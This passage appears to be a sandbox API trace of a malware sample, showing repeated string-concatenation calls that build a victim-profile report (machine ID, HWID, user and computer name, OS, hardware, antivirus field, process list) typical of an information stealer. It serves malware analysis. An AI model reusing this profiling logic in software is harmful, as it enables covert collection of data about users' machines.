[0054.833] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.833] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da38 | out: hHeap=0x670000) returned 1
[0054.833] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [", lpString2="924" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924"
[0054.833] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n"
[0054.833] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x210, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0054.834] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- "
[0054.834] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- ", lpString2="svchost.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe"
[0054.834] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe ["
[0054.834] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d9d8
[0054.834] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da88
[0054.834] GetLastError () returned 0x7a
[0054.834] SetLastError (dwErrCode=0x7a)
[0054.834] GetLastError () returned 0x7a
[0054.834] SetLastError (dwErrCode=0x7a)
[0054.834] GetLastError () returned 0x7a
[0054.834] SetLastError (dwErrCode=0x7a)
[0054.834] GetLastError () returned 0x7a
[0054.834] SetLastError (dwErrCode=0x7a)
[0054.834] GetLastError () returned 0x7a
[0054.835] SetLastError (dwErrCode=0x7a)
[0054.835] GetLastError () returned 0x7a
[0054.835] SetLastError (dwErrCode=0x7a)
[0054.835] GetLastError () returned 0x7a
[0054.835] SetLastError (dwErrCode=0x7a)
[0054.835] GetLastError () returned 0x7a
[0054.835] SetLastError (dwErrCode=0x7a)
[0054.835] GetLastError () returned 0x7a
[0054.835] SetLastError (dwErrCode=0x7a)
[0054.835] GetLastError () returned 0x7a
[0054.835] SetLastError (dwErrCode=0x7a)
[0054.835] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db18 | out: hHeap=0x670000) returned 1
[0054.835] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da88 | out: hHeap=0x670000) returned 1
[0054.835] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.835] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d9d8 | out: hHeap=0x670000) returned 1
[0054.835] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [", lpString2="324" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324"
[0054.835] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 